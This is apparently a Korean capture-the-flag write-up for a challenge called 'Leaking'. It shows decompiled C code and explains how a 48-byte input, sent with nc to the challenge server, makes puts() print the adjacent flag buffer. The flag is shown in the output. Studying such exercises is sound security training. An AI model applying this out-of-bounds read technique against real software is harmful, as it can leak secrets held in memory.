Leaking

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  int fd; // [rsp+8h] [rbp-98h]
  char src[48]; // [rsp+10h] [rbp-90h] BYREF
  char s[48]; // [rsp+40h] [rbp-60h] BYREF
  char buf[40]; // [rsp+70h] [rbp-30h] BYREF
  unsigned __int64 v9; // [rsp+98h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  memset(s, 0, 0x28uLL);
  memset(src, 0, 0x28uLL);
  memset(buf, 0, sizeof(buf));
  fd = open("./flag", 0);
  if ( fd == -1 )
  {
    puts("Error");
    exit(1);
  }
  buf[read(fd, buf, 0x20uLL)] = 0;
  close(fd);
  printf("Input : ");
  __isoc99_scanf("%77s", src);
  v3 = strlen(src);
  strncpy(s, src, v3);
  puts(s);
  return 0;
}
```

`./flag`를 읽은 다음 `buf`에 쓰고, 이후 `src`의 값을 `s`에 복사한 뒤, `puts()`로 출력하는 것을 볼 수 있다.
`s`와 `buf`의 주소 차이는 `0x30`이고, `puts()`는 NULL이 나올 때까지 출력하므로 플래그를 leak하는 것이 가능하다.

```
>>> "A"*0x30
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

$ nc realsung.kr 10004
Input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag{L3Ak_M3m0ry!!}
```